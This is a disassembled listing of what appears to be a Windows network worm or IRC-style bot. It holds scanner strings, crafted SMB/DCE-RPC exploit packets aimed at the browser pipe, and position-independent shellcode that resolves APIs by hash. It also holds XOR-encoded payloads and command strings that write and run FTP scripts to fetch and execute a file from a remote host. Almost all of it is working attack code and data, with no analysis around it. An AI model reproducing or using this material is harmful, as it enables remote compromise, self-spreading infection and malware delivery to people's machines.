dword_4455E4	dd 722D20h						; sub_422B40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422B40+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422B40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422B40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
		align 8
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422B40+6Do
		align 4
		dd 0
dword_4456DC	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423C25o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
					; ___:off_447670o
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423DD6o
		align 10h
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004242B7o
		align 4
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424206o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042414Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424920+BDo
		align 10h
dword_4458A0	dd 10FF8h, 0	dword_4458A8	dd 10FF8h	dword_4458AC	dd 7FFDF020h, 0	dword_4458B4	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44593C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_44596C	dd 0		dword_445970	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_445978	proc near		; DATA XREF: sub_425100+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_445A74
		push	dword ptr [esi]
		push	63D61209h
		call	sub_445A8A
		mov	[esi+8], eax
		call	sub_445A3D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_445A8A
		mov	[esi+0Ch], eax
		call	sub_4459EF
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_445A8A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_445978	endp


; =============== S U B	R O U T	I N E =======================================



sub_4459EF	proc near		; CODE XREF: sub_445978+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_445A18
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4459EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A18	proc near		; CODE XREF: sub_4459EF+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_445A27:				; CODE XREF: sub_445A18+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_445A34
		inc	ebx
		jmp	short loc_445A27
; ---------------------------------------------------------------------------


loc_445A34:				; CODE XREF: sub_445A18+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_445A18	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A3D	proc near		; CODE XREF: sub_445978+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_445A55:				; CODE XREF: sub_445A3D+1Ej
		cmp	[ecx], ebx
		jz	short loc_445A5D
		mov	ecx, [ecx]
		jmp	short loc_445A55
; ---------------------------------------------------------------------------


loc_445A5D:				; CODE XREF: sub_445A3D+1Aj
		mov	edx, edi


loc_445A5F:				; CODE XREF: sub_445A3D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_445A69
		mov	edx, [edx+4]
		jmp	short loc_445A5F
; ---------------------------------------------------------------------------


loc_445A69:				; CODE XREF: sub_445A3D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_445A3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A74	proc near		; CODE XREF: sub_445978+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_445A74	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A8A	proc near		; CODE XREF: sub_445978+16p
					; sub_445978+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_445AA0:				; CODE XREF: sub_445A8A+33j
		jecxz	short loc_445ADA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_445AAD:				; CODE XREF: sub_445A8A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_445AB9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_445AAD
; ---------------------------------------------------------------------------


loc_445AB9:				; CODE XREF: sub_445A8A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_445AA0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_445ADA:				; CODE XREF: sub_445A8A:loc_445AA0j
					; sub_445A8A:loc_445ADAj
		jmp	short loc_445ADA
sub_445A8A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_445AE0	proc near		; DATA XREF: sub_425100+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_445B32
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_445AFD:				; CODE XREF: sub_445AE0+38j
		jecxz	short loc_445B2D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_445B08:				; CODE XREF: sub_445AE0+32j
		lodsb
		test	al, al
		jz	short loc_445B14
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_445B08
; ---------------------------------------------------------------------------


loc_445B14:				; CODE XREF: sub_445AE0+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_445AFD
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_445B2D:				; CODE XREF: sub_445AE0:loc_445AFDj
		mov	[esp+arg_0], ebx
		retn
sub_445AE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_445B32	proc near		; CODE XREF: sub_445AE0+7p

; FUNCTION CHUNK AT 00445B6A SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_445B4B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_445B56
; ---------------------------------------------------------------------------


loc_445B4B:				; CODE XREF: sub_445B32+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_445B56:				; CODE XREF: sub_445B32+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_445B6A
sub_445B32	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445B5D	proc near		; CODE XREF: sub_445B32:loc_445B6Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_445B5D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B32


loc_445B6A:				; CODE XREF: sub_445B32+29j
		call	sub_445B5D
; END OF FUNCTION CHUNK	FOR sub_445B32
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_445C04	dd 23h		dword_445C08	dd 60h		dword_445C0C	dd 62B0606h, 2050501h, 0A0hdword_445C18	dd 0A1h		dword_445C1C	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424920+16Do
		align 4


loc_445C28:				; DATA XREF: sub_424920+100o
		jmp	short near ptr dword_445C30
; ---------------------------------------------------------------------------
		align 10h
dword_445C30	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425100+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_445CEA

; =============== S U B	R O U T	I N E =======================================



sub_445CDA	proc far		; CODE XREF: sub_445CDA:loc_445CEAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_445CE2:				; CODE XREF: sub_445CDA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_445CE2
		jmp	short loc_445CEF
; ---------------------------------------------------------------------------


loc_445CEA:				; CODE XREF: ___:00445CD8j
		call	near ptr sub_445CDA


loc_445CEF:				; CODE XREF: sub_445CDA+Ej
		jo	short loc_445D53
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_445D71
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_445D53:				; CODE XREF: sub_445CDA:loc_445CEFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_445D71:				; CODE XREF: sub_445CDA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_445CDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_445E18:				; DATA XREF: sub_4257F0+12Bo
					; sub_4257F0+135o ...
		jmp	short loc_445E2A

; =============== S U B	R O U T	I N E =======================================



sub_445E1A	proc near		; CODE XREF: sub_445E1A:loc_445E2Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_445E22:				; CODE XREF: sub_445E1A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_445E22
		jmp	short loc_445E2F
; ---------------------------------------------------------------------------


loc_445E2A:				; CODE XREF: ___:loc_445E18j
		call	sub_445E1A


loc_445E2F:				; CODE XREF: sub_445E1A+Ej
		jo	short near ptr dword_445DA8+1Eh
		cwde
		cdq
		cdq
		retn
sub_445E1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_445EC8	dw 4B9Dh		; DATA XREF: sub_4257F0+105w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_445FB0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:00425E52o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44603C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425E87o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_4460E8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425EB6o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4461C8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+5Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
		db 43h,	0, 24h
dword_44621F	dd 3F000000h	dword_446223	dd 3F3F3F3Fh	byte_446227	db 0			; DATA XREF: sub_4257F0+B4r
		dd 0
dword_44622C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2C2o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_446298	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2F5o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44633C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+3FAo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4463BC	dd offset sub_401492+3	; DATA XREF: sub_4257F0+42Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_446450	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+335o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4464BC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+368o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446530	dd 0				dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 3	dup(0)
dword_4465BC	dd 1004600h						; sub_4257F0+24Fr
		dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467A4	dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat	db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
		align 4
		dd 0
aEchoDelFC_batC	db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
		align 10h
aEchoDel_pifC_b	db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
		dd 0
aEchoSC_bat	db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
		align 10h
		dd 0
aEchoFtpNVS_pif	db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
		align 4
		dd 0
aEcho@echoOffC_	db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
		align 8
aEchoBye_pif	db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
		align 10h
aEchoGetS_pif	db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
		align 4
		dd 0
aEchoBinary_pif	db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
		align 8
aEchoUserAA_pif	db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
		align 10h
		dd 0
aEchoOpenSD_pif	db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
		align 10h
dword_4468F0	dd 6EB06EBh			align 8
dword_4468F8	dd 73255C5Ch, 6370695Ch, 24h					; ___:00426352o
dword_446904	dd 1CEC8166h	dword_446908	dd 0E4FF07h			align 10h
dword_446910	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44695C	dd 3000005h, 10h, 830h,	0		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_44698C	dd 0FAh, 2, 0			dd 2, 0
		dd 0FAh, 2 dup(0)
dword_4469AC	dd 0D959516Ah, 2474D9EEh		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_4469B6:				; CODE XREF: ___:004469C0j
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_4469B6
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs	db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
					; DATA XREF: sub_426070+D6o
		db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 4
		dd 6 dup(0)
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
		align 8
word_446C18	dw 2EBh			; DATA XREF: ___:00426331r
		align 4
dword_446C1C	dd 215h				dd 0
dword_446C24	dd 20804h			dd 0
; ---------------------------------------------------------------------------


loc_446C2C:				; DATA XREF: sub_4267D0+CCo
		jmp	short loc_446C30
; ---------------------------------------------------------------------------


loc_446C2E:				; CODE XREF: ___:loc_446C30p
		jmp	short loc_446C35
; ---------------------------------------------------------------------------


loc_446C30:				; CODE XREF: ___:loc_446C2Cj
		call	loc_446C2E


loc_446C35:				; CODE XREF: ___:loc_446C2Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_446C3A	dw 0FFFFh		; DATA XREF: sub_4267D0+D3w
		db 80h,	73h, 0Eh
byte_446C3F	db 0FFh			; DATA XREF: sub_4267D0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_446C44:				; DATA XREF: sub_4267D0+A7o
		jmp	short loc_446C48
; ---------------------------------------------------------------------------


loc_446C46:				; CODE XREF: ___:loc_446C48p
		jmp	short loc_446C4D
; ---------------------------------------------------------------------------


loc_446C48:				; CODE XREF: ___:loc_446C44j
		call	loc_446C46


loc_446C4D:				; CODE XREF: ___:loc_446C46j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_446C51	db 0FFh			; DATA XREF: sub_4267D0+AEw
		dw 7380h
		db 0Ch
byte_446C55	db 0FFh			; DATA XREF: sub_4267D0+B4w
		dw 0E243h
		dd 0F9h
dword_446C5C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_426560+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CC0	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_446CD0	dd 74656720h	byte_446CD4	db 20h			; DATA XREF: sub_426560+A2r
dword_446CD5	dd 0E8006A00h	dword_446CD9	dd 17h							; sub_426560+D2r
dword_446CDD	dd 0E8C30175h	dword_446CE1	dd 1							; sub_426560+E7r
byte_446CE5	db 0, 6Ah, 0		; DATA XREF: sub_426560+110o
		dd 7E8h
		db 0, 0Fh, 84h
